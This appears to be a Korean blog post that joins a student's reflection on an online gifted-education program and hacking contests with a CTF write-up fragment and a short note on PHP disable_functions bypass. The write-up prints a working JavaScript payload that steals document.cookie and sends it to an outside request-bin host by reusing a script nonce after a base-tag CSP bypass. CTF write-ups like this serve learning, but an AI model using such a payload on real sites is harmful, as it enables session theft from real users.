2020년도와 마찬가지로 2021년도 동일하게 온라인으로 진행되었는데, 이게 많이 아쉬웠었다. (학교 개학도 겹쳤었다.)
온라인 수업이다보니, 초반에는 열심히 수업을 들었지만 이후로 가면 갈수록 캠에서 머리만 보인다던가,,, 그러기도 했었다.
대회 일정도 겹치는 부분들도 있었기 때문에 수업을 참여한 상태에서 대회를 참여하기도 했었는데 그런 기억도 언젠간 나중에 "라떼는 말이야~" 라고 이야기할 수 있지 않을까...? 라는 생각도 종종 들었다.
경진대회 개인전, 단체전 문제 수준같은 경우는 특성화 고등학교에서 개최하는 중학생 대상으로 하는 대회에서 나올 법한 문제 수준이였고, 나쁘지 않았다고 생각이 들었다. ( 중학생들도 하나쯤은 풀어야되기 때문에)
개인전 대회를 서울여대 직접 가서 했었는데, 일일이 다 세팅하기 귀차니즘으로 인해서 Anydesk로 집 컴퓨터랑 원격했었는데 레이턴시가 많이 심해서, 종종 애 먹었던게 기억이 남는다. (이후 Parsec 프로그램 존재를 알았고, 괜춘한 레이턴시를 보여줬기 때문에 나쁘지 않았던 것 같다. 하지만 두 컴퓨터가 외부 GPU가 있어야한다.. 알았어도 분명 느렸을 것이다,,)
단체전같은 경우는 팀 배정이 자유롭게 할 수 있었다고 한다면, 조금 더 좋은 성과를 낼 수 있지 않았을까? 라는 생각이 들긴 하지만, 그래도 나쁘지 않은 성과가 나올 수 있어서 다행이라고 생각이 들었다.
# 한 팀에 포너가 몰려있거나, 웹하는 사람들이 다 각자 나뉘어져있다고 하면 다양한 문제를 골고루 풀기 어렵기 때문이다.
그래도 다행히 영재교육원 수료를 마무리 할 수 있는 것 같아 다행인 것 같다.
R&E 과정같은 경우는 담당 교수님이 이번년도 기준으로 원장님이셨는데, 진짜 존경할 수 있을 정도로 눈 높이에 맞춰서 교육해 주셨기 때문에 나쁘지 않았다고 생각이 들었다. (vagrant 존재를 처음 알게 된 계기...)
하지만 아쉽게도, 많은 시간이 주어지지 않았기 때문에 다양한 활동을 하지 못한 것이 아쉬움으로 남았다.
(분명 교수님에게 더 많이 해주실 수 있는지 여쭤봤는데 아쉽게도,, 잊혀진 것 같다..)
그래도 영재교육원 생활을 하면서, 많다고 하면 많은 배움을 얻을 수 있는 계기가 되었던 것 같았다.
포너블, 즉 시스템 해킹이라고 불리는 부분들에 대한 지식이 많이 한계가 존재하는 것 같아서 앞으로 골고루 배울 수 있도록 노력해야 되겠다.
사실 나는 웹 해킹이 주 분야라고 하기도 하고, 포렌식이 주 분야라기도 하고,, 솔직히 분야 편식은 나쁜 것 같다.
생각하는 것을 무언가,, 한정을 짓는다고 생각된다고 해야될까..?
이정도로 마무리 해야되겠다.
(여담이지만, 중등반 튜터쌤들 말에 따르면, 캠 안에서 무언가 던지고, 화났다는 친구들이 많았다고 한다..)
2. Purpose of use (free format, max 300 letters) - HTML Element Escape?를 통해, 원하는 HTML Element를 전달할 수 있도록 했습니다.
해당 사이트에서는 CSP(Content Security Policy)가 존재했으며, base-uri같은 경우 설정 미스로, 설정 미스를 통해 CSP Bypass를 할 수 있게 됩니다.
사이트에 있는 스크립트를 만약 "abc.com/static/js/jquery.min.js"라는 부분이 있다면, base tag에 의해서, "yunseok.kr/static/js/jquery.min.js"로 요청하는 꼴이 됩니다.
그렇다면, yunseok.kr 웹서버에서 똑같은 경로에 똑같은 파일 명으로 악성 스크립트를 전파한다면, 그거야 말로 파급력은 대단할 것입니다.
저는 아래와 같이 코드를 업로드했습니다.
var payload = document.cookie;
var nonce = document.querySelector("script").nonce;
var src = `https://postb.in/1569059561759-0691916393116?hello=/?${payload}`
var s = document.createElement('script')
s.type = 'text/javascript'
s.src = src
s.setAttribute('nonce', nonce)
document.body.appendChild(s);
3. Pistol license - 해당 파일같은 경우 아무거나 보내도 무관했습니다.
4. Proof of work - 특정 값을 sha1로 암호화할 경우, 앞 5자리를 입력 값의 sha1 암호화해서 대조하여, 일치하는지 확인하는 부분입니다. / 이 부분에 대해서는 아래 코드를 통해, 알 수 있었습니다.
from hashlib import sha1
def get_hash(target):
for val in range(10000000):
if sha1(str(val).encode('utf-8')).hexdigest()[:5] == target:
print(val)
break
stra = input()
get_hash(stra)
위와 같이 해서 "Send Request" 버튼을 눌러서, 어드민에게 요청이 갈 것이며, 우리가 생각하는 생각 대로 정상적으로 악성 스크립트가 실행 되어, Flag가 우리에게 올 것입니다.
그렇게 해서, "th1s1sv3rys3cr3tm4g1c0fc55" 라는 값을 얻을 수 있었고, 이건 바로 플래그다.
의외로 다양한 CTF에서 eval() 가능하여, 일부 함수를 호출하려고 했을 때 disable_functions 로 인해서 제한적인 상황에서 내가 원하는 코드를 실행을 하기 위해서는 막히지 않은 함수를 통해서 해결을 해야하기도 합니다.
이러한 막히지 않은 함수를 찾기는 어렵고, 시간은 부족한데 이때 copy() 라는 함수와 서버 내에서 구동되고 있는 PHP 버전이 Disable Functions 와 관련한 취약점이 있다면, copy() 라는 함수를 통해서 취약점 PoC 코드를 다운로드를 받을 수 있습니다.